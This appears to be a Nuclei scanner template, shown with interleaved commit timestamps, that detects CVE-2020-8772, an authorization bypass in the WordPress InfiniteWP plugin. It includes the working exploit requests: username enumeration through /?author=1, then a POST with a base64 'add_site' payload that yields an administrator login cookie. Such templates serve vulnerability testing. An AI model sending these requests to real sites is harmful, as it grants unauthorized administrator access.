2022-08-05 15:29:56 +00:00
id : CVE-2020-8772
info :
2022-10-19 21:11:27 +00:00
name : WordPress InfiniteWP <1.9.4.5 - Authorization Bypass
2022-08-06 07:05:56 +00:00
author : princechaddha,scent2d
2022-08-05 15:29:56 +00:00
severity : critical
description : |
2022-10-19 21:11:27 +00:00
WordPress InfiniteWP plugin before 1.9.4.5 for WordPress contains an authorization bypass vulnerability via a missing authorization check in iwp_mmb_set_request in init.php. An attacker who knows the username of an administrator can log in, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
2022-08-05 15:29:56 +00:00
reference :
- https://wpscan.com/vulnerability/10011
2022-08-09 19:35:58 +00:00
- https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/
- https://wpvulndb.com/vulnerabilities/10011
2022-10-19 21:11:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-8772
2023-04-12 10:55:48 +00:00
remediation : Upgrade to InfiniteWP 1.9.4.5 or higher.
2022-08-09 19:35:58 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2020-8772
cwe-id : CWE-862
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:revmakx:infinitewp_client:*:*:*:*:*:*:*:*
epss-score : 0.96929
2022-08-05 15:29:56 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2022-08-09 19:35:58 +00:00
verified : "true"
2022-08-27 04:41:18 +00:00
tags : wpscan,cve,cve2020,wordpress,wp-plugin,wp,infinitewp,auth-bypass
2022-08-05 15:29:56 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-08-05 15:29:56 +00:00
- raw :
- |
2022-08-06 07:05:56 +00:00
GET /?author=1 HTTP/1.1
2022-08-05 15:29:56 +00:00
Host : {{Hostname}}
2022-08-06 07:05:56 +00:00
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language : en-US,en;q=0.9
2022-08-05 15:29:56 +00:00
- |
2022-08-06 07:05:56 +00:00
POST / HTTP/1.1
2022-08-05 15:29:56 +00:00
Host : {{Hostname}}
2022-08-06 07:05:56 +00:00
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type : application/x-www-form-urlencoded
_IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"{{username}}\"}}")}}
2022-08-05 15:29:56 +00:00
2022-10-07 21:27:25 +00:00
host-redirects : true
2022-08-06 07:05:56 +00:00
extractors :
- type : regex
name : username
internal : true
group : 1
part : body
regex :
- 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
- type : regex
name : username
internal : true
group : 1
part : header
regex :
- 'ion : https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
matchers-condition : and
2022-08-05 15:29:56 +00:00
matchers :
2022-08-06 07:05:56 +00:00
- type : word
2022-08-09 19:16:06 +00:00
part : header
2022-08-06 07:05:56 +00:00
words :
- "wordpress_logged_in"
- type : word
words :
- "<IWPHEADER>"
part : body
- type : status
status :
- 200
2022-10-19 21:11:27 +00:00
# Enhanced by md on 2022/10/19